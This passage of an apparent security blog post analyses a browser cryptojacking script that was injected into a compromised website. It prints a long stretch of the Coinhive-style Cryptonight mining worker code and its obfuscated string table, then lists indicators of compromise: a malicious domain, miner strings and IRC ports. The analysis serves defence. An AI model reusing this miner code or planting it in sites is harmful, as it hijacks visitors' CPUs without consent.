ter_stringify(SYSCALLS.get());return\x20ret}),getStreamFromFD:(function(){var\x20stream=FS.getStream(SYSCALLS.get());if(!stream)throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF);return\x20stream}),getSocketFromFD:(function(){var\x20socket=SOCKFS.getSocket(SYSCALLS.get());if(!socket)throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EBADF);return\x20socket}),getSocketAddress:(function(allowNull){var\x20addrp=SYSCALLS.get(),addrlen=SYSCALLS.get();if(allowNull&&addrp===0)return\x20null;var\x20info=__read_sockaddr(addrp,addrlen);if(info.errno)throw\x20new\x20FS.ErrnoError(info.errno);info.addr=DNS.lookup_addr(info.addr)||info.addr;return\x20info}),get64:(function(){var\x20low=SYSCALLS.get(),high=SYSCALLS.get();if(low>=0)assert(high===0);else\x20assert(high===-1);return\x20low}),getZero:(function(){assert(SYSCALLS.get()===0)})};function\x20___syscall20(which,varargs){SYSCALLS.varargs=varargs;try{return\x20PROCINFO.pid}catch(e){if(typeof\x20FS===\x22undefined\x22||!(e\x20instanceof\x20FS.ErrnoError))abort(e);return-e.errno}}var\x20___tm_current=STATICTOP;STATICTOP+=48;var\x20___tm_timezone=allocate(intArrayFromString(\x22GMT\x22),\x22i8\x22,ALLOC_STATIC);function\x20_gmtime_r(time,tmPtr){var\x20date=new\x20Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var\x20start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var\x20yday=(date.getTime()-start)/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return\x20tmPtr}function\x20_gmtime(time){return\x20_gmtime_r(time,___tm_current)}function\x20___lock(){}function\x20___unlock(){}function\x20___syscall6(which,varargs){SYSCALLS.varargs=varargs;try{var\x20stream=SYSCALLS.getStreamFromFD();FS.close(stream);return\x200}catch(e){if(typeof\x20FS===\x22undefined\x22||!(e\x20instanceof\x20FS.ErrnoError))abort(e);return-e.errno}}function\x20_emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return\x20dest}function\x20_ftime(p){var\x20millis=Date.now();HEAP32[p>>2]=millis/1e3|0;HEAP16[p+4>>1]=millis%1e3;HEAP16[p+6>>1]=0;HEAP16[p+8>>1]=0;return\x200}function\x20___syscall140(which,varargs){SYSCALLS.varargs=varargs;try{var\x20stream=SYSCALLS.getStreamFromFD(),offset_high=SYSCALLS.get(),offset_low=SYSCALLS.get(),result=SYSCALLS.get(),whence=SYSCALLS.get();var\x20offset=offset_low;FS.llseek(stream,offset,whence);HEAP32[result>>2]=stream.position;if(stream.getdents&&offset===0&&whence===0)stream.getdents=null;return\x200}catch(e){if(typeof\x20FS===\x22undefined\x22||!(e\x20instanceof\x20FS.ErrnoError))abort(e);return-e.errno}}function\x20___syscall146(which,varargs){SYSCALLS.varargs=varargs;try{var\x20stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return\x20SYSCALLS.doWritev(stream,iov,iovcnt)}catch(e){if(typeof\x20FS===\x22undefined\x22||!(e\x20instanceof\x20FS.ErrnoError))abort(e);return-e.errno}}function\x20___syscall54(which,varargs){SYSCALLS.varargs=varargs;try{var\x20stream=SYSCALLS.getStreamFromFD(),op=SYSCALLS.get();switch(op){case\x2021505:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return\x200};case\x2021506:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return\x200};case\x2021519:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;var\x20argp=SYSCALLS.get();HEAP32[argp>>2]=0;return\x200};case\x2021520:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return-ERRNO_CODES.EINVAL};case\x2021531:{var\x20argp=SYSCALLS.get();return\x20FS.ioctl(stream,op,argp)};case\x2021523:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return\x200};default:abort(\x22bad\x20ioctl\x20syscall\x20\x22+op)}}catch(e){if(typeof\x20FS===\x22undefined\x22||!(e\x20instanceof\x20FS.ErrnoError))abort(e);return-e.errno}}FS.staticInit();__ATINIT__.unshift((function(){if(!Module[\x22noFSInit\x22]&&!FS.init.initialized)FS.init()}));__ATMAIN__.push((function(){FS.ignorePermissions=false}));__ATEXIT__.push((function(){FS.quit()}));Module[\x22FS_createFolder\x22]=FS.createFolder;Module[\x22FS_createPath\x22]=FS.createPath;Module[\x22FS_createDataFile\x22]=FS.createDataFile;Module[\x22FS_createPreloadedFile\x22]=FS.createPreloadedFile;Module[\x22FS_createLazyFile\x22]=FS.createLazyFile;Module[\x22FS_createLink\x22]=FS.createLink;Module[\x22FS_createDevice\x22]=FS.createDevice;Module[\x22FS_unlink\x22]=FS.unlink;__ATINIT__.unshift((function(){TTY.init()}));__ATEXIT__.push((function(){TTY.shutdown()}));if(ENVIRONMENT_IS_NODE){var\x20fs=require(\x22fs\x22);var\x20NODEJS_PATH=require(\x22path\x22);NODEFS.staticInit()}DYNAMICTOP_PTR=allocate(1,\x22i32\x22,ALLOC_STATIC);STACK_BASE=STACKTOP=Runtime.alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=Runtime.alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;Module[\x22wasmTableSize\x22]=14;Module[\x22wasmMaxTableSize\x22]=14;function\x20invoke_ii(index,a1){try{return\x20Module[\x22dynCall_ii\x22](index,a1)}catch(e){if(typeof\x20e!==\x22number\x22&&e!==\x22longjmp\x22)throw\x20e;Module[\x22setThrew\x22](1,0)}}function\x20invoke_iiii(index,a1,a2,a3){try{return\x20Module[\x22dynCall_iiii\x22](index,a1,a2,a3)}catch(e){if(typeof\x20e!==\x22number\x22&&e!==\x22longjmp\x22)throw\x20e;Module[\x22setThrew\x22](1,0)}}function\x20invoke_viii(index,a1,a2,a3){try{Module[\x22dynCall_viii\x22](index,a1,a2,a3)}catch(e){if(typeof\x20e!==\x22number\x22&&e!==\x22longjmp\x22)throw\x20e;Module[\x22setThrew\x22](1,0)}}Module.asmGlobalArg={\x22Math\x22:Math,\x22Int8Array\x22:Int8Array,\x22Int16Array\x22:Int16Array,\x22Int32Array\x22:Int32Array,\x22Uint8Array\x22:Uint8Array,\x22Uint16Array\x22:Uint16Array,\x22Uint32Array\x22:Uint32Array,\x22Float32Array\x22:Float32Array,\x22Float64Array\x22:Float64Array,\x22NaN\x22:NaN,\x22Infinity\x22:Infinity};Module.asmLibraryArg={\x22abort\x22:abort,\x22assert\x22:assert,\x22enlargeMemory\x22:enlargeMemory,\x22getTotalMemory\x22:getTotalMemory,\x22abortOnCannotGrowMemory\x22:abortOnCannotGrowMemory,\x22invoke_ii\x22:invoke_ii,\x22invoke_iiii\x22:invoke_iiii,\x22invoke_viii\x22:invoke_viii,\x22_gmtime_r\x22:_gmtime_r,\x22_gmtime\x22:_gmtime,\x22___lock\x22:___lock,\x22___syscall6\x22:___syscall6,\x22___setErrNo\x22:___setErrNo,\x22___unlock\x22:___unlock,\x22_ftime\x22:_ftime,\x22_emscripten_memcpy_big\x22:_emscripten_memcpy_big,\x22___syscall54\x22:___syscall54,\x22___syscall140\x22:___syscall140,\x22___syscall20\x22:___syscall20,\x22___assert_fail\x22:___assert_fail,\x22___syscall146\x22:___syscall146,\x22DYNAMICTOP_PTR\x22:DYNAMICTOP_PTR,\x22tempDoublePtr\x22:tempDoublePtr,\x22ABORT\x22:ABORT,\x22STACKTOP\x22:STACKTOP,\x22STACK_MAX\x22:STACK_MAX};var\x20asm=Module[\x22asm\x22](Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module[\x22asm\x22]=asm;var\x20_cryptonight_hash=Module[\x22_cryptonight_hash\x22]=(function(){return\x20Module[\x22asm\x22][\x22_cryptonight_hash\x22].apply(null,arguments)});var\x20getTempRet0=Module[\x22getTempRet0\x22]=(function(){return\x20Module[\x22asm\x22][\x22getTempRet0\x22].apply(null,arguments)});var\x20_free=Module[\x22_free\x22]=(function(){return\x20Module[\x22asm\x22][\x22_free\x22].apply(null,arguments)});var\x20runPostSets=Module[\x22runPostSets\x22]=(function(){return\x20Module[\x22asm\x22][\x22runPostSets\x22].apply(null,arguments)});var\x20setTempRet0=Module[\x22setTempRet0\x22]=(function(){return\x20Module[\x22asm\x22][\x22setTempRet0\x22].apply(null,arguments)});var\x20establishStackSpace=Module[\x22establishStackSpace\x22]=(function(){return\x20Module[\x22asm\x22][\x22establishStackSpace\x22].apply(null,arguments)});var\x20_memmove=Module[\x22_memmove\x22]=(function(){return\x20Module[\x22asm\x22][\x22_memmove\x22].apply(null,arguments)});var\x20stackSave=Module[\x22stackSave\x22]=(function(){return\x20Module[\x22asm\x22][\x22stackSave\x22].apply(null,arguments)});var\x20_memset=Module[\x22_memset\x22]=(function(){return\x20Module[\x22asm\x22][\x22_memset\x22].apply(null,arguments)});var\x20_malloc=Module[\x22_malloc\x22]=(function(){return\x20Module[\x22asm\x22][\x22_malloc\x22].apply(null,arguments)});var\x20_cryptonight_create=Module[\x22_cryptonight_create\x22]=(function(){return\x20Module[\x22asm\x22][\x22_cryptonight_create\x22].apply(null,arguments)});var\x20_memcpy=Module[\x22_memcpy\x22]=(function(){return\x20Module[\x22asm\x22][\x22_memcpy\x22].apply(null,arguments)});var\x20_emscripten_get_global_libc=Module[\x22_emscripten_get_global_libc\x22]=(function(){return\x20Module[\x22asm\x22][\x22_emscripten_get_global_libc\x22].apply(null,arguments)});var\x20stackAlloc=Module[\x22stackAlloc\x22]=(function(){return\x20Module[\x22asm\x22][\x22stackAlloc\x22].apply(null,arguments)});var\x20setThrew=Module[\x22setThrew\x22]=(function(){return\x20Module[\x22asm\x22][\x22setThrew\x22].apply(null,arguments)});var\x20_sbrk=Module[\x22_sbrk\x22]=(function(){return\x20Module[\x22asm\x22][\x22_sbrk\x22].apply(null,arguments)});var\x20_fflush=Module[\x22_fflush\x22]=(function(){return\x20Module[\x22asm\x22][\x22_fflush\x22].apply(null,arguments)});var\x20stackRestore=Module[\x22stackRestore\x22]=(function(){return\x20Module[\x22asm\x22][\x22stackRestore\x22].apply(null,arguments)});var\x20_cryptonight_destroy=Module[\x22_cryptonight_destroy\x22]=(function(){return\x20Module[\x22asm\x22][\x22_cryptonight_destroy\x22].apply(null,arguments)});var\x20___errno_location=Module[\x22___errno_location\x22]=(function(){return\x20Module[\x22asm\x22][\x22___errno_location\x22].apply(null,arguments)});var\x20dynCall_ii=Module[\x22dynCall_ii\x22]=(function(){return\x20Module[\x22asm\x22][\x22dynCall_ii\x22].apply(null,arguments)});var\x20dynCall_iiii=Module[\x22dynCall_iiii\x22]=(function(){return\x20Module[\x22asm\x22][\x22dynCall_iiii\x22].apply(null,arguments)});var\x20dynCall_viii=Module[\x22dynCall_viii\x22]=(function(){return\x20Module[\x22asm\x22][\x22dynCall_viii\x22].apply(null,arguments)});Runtime.stackAlloc=Module[\x22stackAlloc\x22];Runtime.stackSave=Module[\x22stackSave\x22];Runtime.stackRestore=Module[\x22stackRestore\x22];Runtime.establishStackSpace=Module[\x22establishStackSpace\x22];Runtime.setTempRet0=Module[\x22setTempRet0\x22];Runtime.getTempRet0=Module[\x22getTempRet0\x22];Module[\x22asm\x22]=asm;if(memoryInitializer){if(typeof\x20Module[\x22locateFile\x22]===\x22function\x22){memoryInitializer=Module[\x22locateFile\x22](memoryInitializer)}else\x20if(Module[\x22memoryInitializerPrefixURL\x22]){memoryInitializer=Module[\x22memoryInitializerPrefixURL\x22]+memoryInitializer}if(ENVIRONMENT_IS_NODE||ENVIRONMENT_IS_SHELL){var\x20data=Module[\x22readBinary\x22](memoryInitializer);HEAPU8.set(data,Runtime.GLOBAL_BASE)}else{addRunDependency(\x22memory\x20initializer\x22);var\x20applyMemoryInitializer=(function(data){if(data.byteLength)data=new\x20Uint8Array(data);HEAPU8.set(data,Runtime.GLOBAL_BASE);if(Module[\x22memoryInitializerRequest\x22])delete\x20Module[\x22memoryInitializerRequest\x22].response;removeRunDependency(\x22memory\x20initializer\x22)});function\x20doBrowserLoad(){Module[\x22readAsync\x22](memoryInitializer,applyMemoryInitializer,(function(){throw\x22could\x20not\x20load\x20memory\x20initializer\x20\x22+memoryInitializer}))}if(Module[\x22memoryInitializerRequest\x22]){function\x20useRequest(){var\x20request=Module[\x22memoryInitializerRequest\x22];if(request.status!==200&&request.status!==0){console.warn(\x22a\x20problem\x20seems\x20to\x20have\x20happened\x20with\x20Module.memoryInitializerRequest,\x20status:\x20\x22+request.status+\x22,\x20retrying\x20\x22+memoryInitializer);doBrowserLoad();return}applyMemoryInitializer(request.response)}if(Module[\x22memoryInitializerRequest\x22].response){setTimeout(useRequest,0)}else{Module[\x22memoryInitializerRequest\x22].addEventListener(\x22load\x22,useRequest)}}else{doBrowserLoad()}}}function\x20ExitStatus(status){this.name=\x22ExitStatus\x22;this.message=\x22Program\x20terminated\x20with\x20exit(\x22+status+\x22)\x22;this.status=status}ExitStatus.prototype=new\x20Error;ExitStatus.prototype.constructor=ExitStatus;var\x20initialStackTop;var\x20preloadStartTime=null;var\x20calledMain=false;dependenciesFulfilled=function\x20runCaller(){if(!Module[\x22calledRun\x22])run();if(!Module[\x22calledRun\x22])dependenciesFulfilled=runCaller};Module[\x22callMain\x22]=Module.callMain=function\x20callMain(args){args=args||[];ensureInitRuntime();var\x20argc=args.length+1;function\x20pad(){for(var\x20i=0;i<4-1;i++){argv.push(0)}}var\x20argv=[allocate(intArrayFromString(Module[\x22thisProgram\x22]),\x22i8\x22,ALLOC_NORMAL)];pad();for(var\x20i=0;i<argc-1;i=i+1){argv.push(allocate(intArrayFromString(args[i]),\x22i8\x22,ALLOC_NORMAL));pad()}argv.push(0);argv=allocate(argv,\x22i32\x22,ALLOC_NORMAL);try{var\x20ret=Module[\x22_main\x22](argc,argv,0);exit(ret,true)}catch(e){if(e\x20instanceof\x20ExitStatus){return}else\x20if(e==\x22SimulateInfiniteLoop\x22){Module[\x22noExitRuntime\x22]=true;return}else{var\x20toLog=e;if(e&&typeof\x20e===\x22object\x22&&e.stack){toLog=[e,e.stack]}Module.printErr(\x22exception\x20thrown:\x20\x22+toLog);Module[\x22quit\x22](1,e)}}finally{calledMain=true}};function\x20run(args){args=args||Module[\x22arguments\x22];if(preloadStartTime===null)preloadStartTime=Date.now();if(runDependencies>0){return}preRun();if(runDependencies>0)return;if(Module[\x22calledRun\x22])return;function\x20doRun(){if(Module[\x22calledRun\x22])return;Module[\x22calledRun\x22]=true;if(ABORT)return;ensureInitRuntime();preMain();if(Module[\x22onRuntimeInitialized\x22])Module[\x22onRuntimeInitialized\x22]();if(Module[\x22_main\x22]&&shouldRunNow)Module[\x22callMain\x22](args);postRun()}if(Module[\x22setStatus\x22]){Module[\x22setStatus\x22](\x22Running...\x22);setTimeout((function(){setTimeout((function(){Module[\x22setStatus\x22](\x22\x22)}),1);doRun()}),1)}else{doRun()}}Module[\x22run\x22]=Module.run=run;function\x20exit(status,implicit){if(implicit&&Module[\x22noExitRuntime\x22]){return}if(Module[\x22noExitRuntime\x22]){}else{ABORT=true;EXITSTATUS=status;STACKTOP=initialStackTop;exitRuntime();if(Module[\x22onExit\x22])Module[\x22onExit\x22](status)}if(ENVIRONMENT_IS_NODE){process[\x22exit\x22](status)}Module[\x22quit\x22](status,new\x20ExitStatus(status))}Module[\x22exit\x22]=Module.exit=exit;var\x20abortDecorators=[];function\x20abort(what){if(Module[\x22onAbort\x22]){Module[\x22onAbort\x22](what)}if(what!==undefined){Module.print(what);Module.printErr(what);what=JSON.stringify(what)}else{what=\x22\x22}ABORT=true;EXITSTATUS=1;var\x20extra=\x22\x5cnIf\x20this\x20abort()\x20is\x20unexpected,\x20build\x20with\x20-s\x20ASSERTIONS=1\x20which\x20can\x20give\x20more\x20information.\x22;var\x20output=\x22abort(\x22+what+\x22)\x20at\x20\x22+stackTrace()+extra;if(abortDecorators){abortDecorators.forEach((function(decorator){output=decorator(output,what)}))}throw\x20output}Module[\x22abort\x22]=Module.abort=abort;if(Module[\x22preInit\x22]){if(typeof\x20Module[\x22preInit\x22]==\x22function\x22)Module[\x22preInit\x22]=[Module[\x22preInit\x22]];while(Module[\x22preInit\x22].length>0){Module[\x22preInit\x22].pop()()}}var\x20shouldRunNow=true;if(Module[\x22noInitialRun\x22]){shouldRunNow=false}run();var\x20CryptonightWASMWrapper=(function(){this.ctx=_cryptonight_create();this.throttleWait=0;this.throttledStart=0;this.throttledHashes=0;this.workThrottledBound=this.workThrottled.bind(this);this.currentJob=null;this.target=new\x20Uint8Array([255,255,255,255,255,255,255,255]);var\x20heap=Module.HEAPU8.buffer;this.input=new\x20Uint8Array(heap,Module._malloc(84),84);this.output=new\x20Uint8Array(heap,Module._malloc(32),32);self.postMessage(\x22ready\x22);self.onmessage=this.onMessage.bind(this)});CryptonightWASMWrapper.prototype.onMessage=(function(msg){var\x20job=msg.data;if(job.verify_id){this.verify(job);return}if(!this.currentJob||this.currentJob.job_id!==job.job_id){this.setJob(job)}if(job.throttle){this.throttleWait=1/(1-job.throttle)-1;this.throttledStart=this.now();this.throttledHashes=0;this.workThrottled()}else{this.work()}});CryptonightWASMWrapper.prototype.destroy=(function(){_cryptonight_destroy(this.ctx)});CryptonightWASMWrapper.prototype.hexToBytes=(function(hex,bytes){var\x20bytes=new\x20Uint8Array(hex.length/2);for(var\x20i=0,c=0;c<hex.length;c+=2,i++){bytes[i]=parseInt(hex.substr(c,2),16)}return\x20bytes});CryptonightWASMWrapper.prototype.bytesToHex=(function(bytes){for(var\x20hex=\x22\x22,i=0;i<bytes.length;i++){hex+=(bytes[i]>>>4).toString(16);hex+=(bytes[i]&15).toString(16)}return\x20hex});CryptonightWASMWrapper.prototype.meetsTarget=(function(hash,target){for(var\x20i=0;i<target.length;i++){var\x20hi=hash.length-i-1,ti=target.length-i-1;if(hash[hi]>target[ti]){return\x20false}else\x20if(hash[hi]<target[ti]){return\x20true}}return\x20false});CryptonightWASMWrapper.prototype.setJob=(function(job){this.currentJob=job;this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);var\x20target=this.hexToBytes(job.target);if(target.length<=8){for(var\x20i=0;i<target.length;i++){this.target[this.target.length-i-1]=target[target.length-i-1]}for(var\x20i=0;i<this.target.length-target.length;i++){this.target[i]=255}}else{this.target=target}});CryptonightWASMWrapper.prototype.now=(function(){return\x20self.performance?self.performance.now():Date.now()});CryptonightWASMWrapper.prototype.hash=(function(input,output,length){var\x20nonce=Math.random()*4294967295+1>>>0;this.input[39]=(nonce&4278190080)>>24;this.input[40]=(nonce&16711680)>>16;this.input[41]=(nonce&65280)>>8;this.input[42]=(nonce&255)>>0;_cryptonight_hash(this.ctx,input.byteOffset,output.byteOffset,length)});CryptonightWASMWrapper.prototype.verify=(function(job){this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);for(var\x20i=0,c=0;c<job.nonce.length;c+=2,i++){this.input[39+i]=parseInt(job.nonce.substr(c,2),16)}_cryptonight_hash(this.ctx,this.input.byteOffset,this.output.byteOffset,this.blob.length);var\x20result=this.bytesToHex(this.output);self.postMessage({verify_id:job.verify_id,verified:result===job.result})});CryptonightWASMWrapper.prototype.work=(function(){var\x20hashes=0;var\x20meetsTarget=false;var\x20start=this.now();var\x20elapsed=0;do{this.hash(this.input,this.output,this.blob.length);hashes++;meetsTarget=this.meetsTarget(this.output,this.target);elapsed=this.now()-start}while(!meetsTarget&&elapsed<1e3);var\x20hashesPerSecond=hashes/(elapsed/1e3);if(meetsTarget){var\x20nonceHex=this.bytesToHex(this.input.subarray(39,43));var\x20resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex})}else{self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes})}});CryptonightWASMWrapper.prototype.workThrottled=(function(){var\x20start=this.now();this.hash(this.input,this.output,this.blob.length);var\x20end=this.now();var\x20timePerHash=end-start;this.throttledHashes++;var\x20elapsed=end-this.throttledStart;var\x20hashesPerSecond=this.throttledHashes/(elapsed/1e3);if(this.meetsTarget(this.output,this.target)){var\x20nonceHex=this.bytesToHex(this.input.subarray(39,43));var\x20resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex});this.throttledHashes=0}else\x20if(elapsed>1e3){self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes});this.throttledHashes=0}else{var\x20wait=Math.min(2e3,timePerHash*this.throttleWait);setTimeout(this.workThrottledBound,wait)}});Module[\x22onRuntimeInitialized\x22]=(function(){var\x20cryptonight=new\x20CryptonightWASMWrapper})\x20",
    "prototype",
    "slice",
    "call",
    "script",
    "filter",
    "test",
    "src",
    "length",
    "split",
    "m.js",
    "proxy=",
    "log",
    "params",
    "_siteKey",
    "_user",
    "_hashes",
    "_currentJob",
    "_autoReconnect",
    "_reconnectRetry",
    "_tokenFromServer",
    "_goal",
    "_totalHashesFromDeadThreads",
    "_throttle",
    "max",
    "min",
    "throttle",
    "autoThreads",
    "_tab",
    "random",
    "IF_EXCLUSIVE_TAB",
    "BroadcastChannel",
    "_bc",
    "onmessage",
    "ping",
    "now",
    "hardwareConcurrency",
    "_targetNumThreads",
    "threads",
    "_useWASM",
    "hasWASMSupport",
    "forceASMJS",
    "_asmjsStatus",
    "unloaded",
    "_onTargetMetBound",
    "_onTargetMet",
    "bind",
    "_onVerifiedBound",
    "mode",
    "_optInToken",
    "interval",
    "loaded",
    "_startNow",
    "pending",
    "addEventListener",
    "CRYPTONIGHT_WORKER_BLOB",
    "URL",
    "createObjectURL",
    "responseText",
    "open",
    "get",
    "a.js",
    "send",
    "_threads",
    "hashesTotal",
    "stop",
    "_socket",
    "_autoThreads",
    "getHashesPerSecond",
    "hashesPerSecond",
    "getTotalHashes",
    "lastMessageTimestamp"
];

As you can see this is still an encoded mess which is only readable to machines and very skilled humans - however we don’t even need to properly decode this as we can clearly see what this is thanks to that lovely long list of varibles - which I’ll now point out and build on.

IOCs and some data points

Domains:

  • https://www.securedatas.download - The host of the malicious scripts/iframe in this case (please note that as of writing jquery-3.2.1.min.js has been removed)

Strings:

  • _autoThreads - Threads/hashes are very typical terms of coin miners
  • getHashesPerSecond - Threads/hashes are very typical terms of coin miners
  • hashesPerSecond - Threads/hashes are very typical terms of coin miners
  • getTotalHashes - Threads/hashes are very typical terms of coin miners
  • _threads - Threads/hashes are very typical terms of coin miners
  • hashesTotal - Threads/hashes are very typical terms of coin miners
  • CRYPTONIGHT_WORKER_BLOB - A key indicator of the monero coinhive miner - the cryptonight alogrithm changes how the CPU mines coins in order to make it more viable with ordinary PC CPUs (i.e. the everyday desktop user.)
  • hardwareConcurrency - A feature of the newer version of the monero coinhive following on from the use of CRYPTONIGHT in order to maximise effectiveness without impacting the user as much
  • _targetNumThreads - Threads/hashes are very typical terms of coin miners
  • threads - Threads/hashes are very typical terms of coin miners
  • _useWASM - WASM being an assembly-like format for executing code within web browsers, the miner in this case
  • hasWASMSupport - WASM being an assembly-like format for executing code within web browsers, the miner in this case
  • forceASMJS - This is a feature of the newer version of the monero coinhive miner where the use of ASM.JS to streamline/improve effectiveness of the miner for browsers by giving support for languages such as C to be ran in browser.
  • _asmjsStatus - This is a feature of the newer version of the monero coinhive miner where the use of ASM.JS to streamline/improve effectiveness of the miner for browsers by giving support for languages such as C to be ran in browser.
  • throttle - It’s very kind of them to not use up all the users CPU
  • autoThreads - Threads/hashes are very typical terms of coin miners
  • _totalHashesFromDeadThreads - Threads/hashes are very typical terms of coin miners
  • _throttle - It’s very kind of them to not use up all the users CPU
  • _hashes - Threads/hashes are very typical terms of coin miners
  • _currentJob - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • _autoReconnect - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • _reconnectRetry - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • _tokenFromServer - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • _goal - It may be possible to determine the goal with a large enough dataset and compare these across other compromises, effectively building up an image of who and what the attacker is and determine sources based on defaults from sold or open source mining kits.
  • worker - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • job_id - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • token - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • hash_accepted - Threads/hashes are very typical terms of coin miners
  • hashes - Threads/hashes are very typical terms of coin miners
  • _send - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • connection_error - Telling us of the outbound connection in this case
  • _hashString - Threads/hashes are very typical terms of coin miners
  • getNumThreads - Threads/hashes are very typical terms of coin miners
  • _connect - Telling us of the outbound connection in this case
  • _auth - Telling us of the outbound connection in this case
  • Auth - Telling us of the outbound connection in this case
  • verifyThread - Threads/hashes are very typical terms of coin miners
  • WebAssembly - WASM being an assembly-like format for executing code within web browsers, the miner in this case
  • getAcceptedHashes - Threads/hashes are very typical terms of coin miners
  • getToken - Telling us of the outbound connection in this case, building on the case of this being a remote mining worker
  • getAutoThreadsEnabled - Threads/hashes are very typical terms of coin miners
  • setAutoThreadsEnabled - Threads/hashes are very typical terms of coin miners
  • _adjustThreads - Threads/hashes are very typical terms of coin miners
  • getThrottle - It’s very kind of them to not use up all the users CPU
  • setThrottle - It’s very kind of them to not use up all the users CPU
  • setNumThreads - Threads/hashes are very typical terms of coin miners
  • JobThread - Threads/hashes are very typical terms of coin miners, building on the case of this being a remote mining worker

Other data points:

  • Port 8894 - The port on which the coinhive script is connecting to the monero blockchain
  • Ports 6667,6668,6669 - Typical IRC ports, as compromised servers such as this have typically taken up several roles beyond just a miner and will also be part of a botnet

I unfortunately did not have access to view the back end of the server and as such could not investigate the core compromise - but a few examples of what I have seen alongside these compromises:

  • Use of injected database code in order to provide persistance to the attacker
  • Use of Web shells to provide trivial access to the backend of the server for many nefarious deeds

I don’t believe that this to be a specific IOC of a specific attacker or even a set of attackers - it’s instead just a thing you do to your victims… use their sites to take advantage of unsuspecting visitors.

If anyone has any fixes/recommendations on improving this quick article I’m available through email or on twitter!

Also, drop by ManchesterGreyHats if you’re ever in the Manchester, UK area :D

https://www.meetup.com/Manchester-Grey-Hats/events/upcoming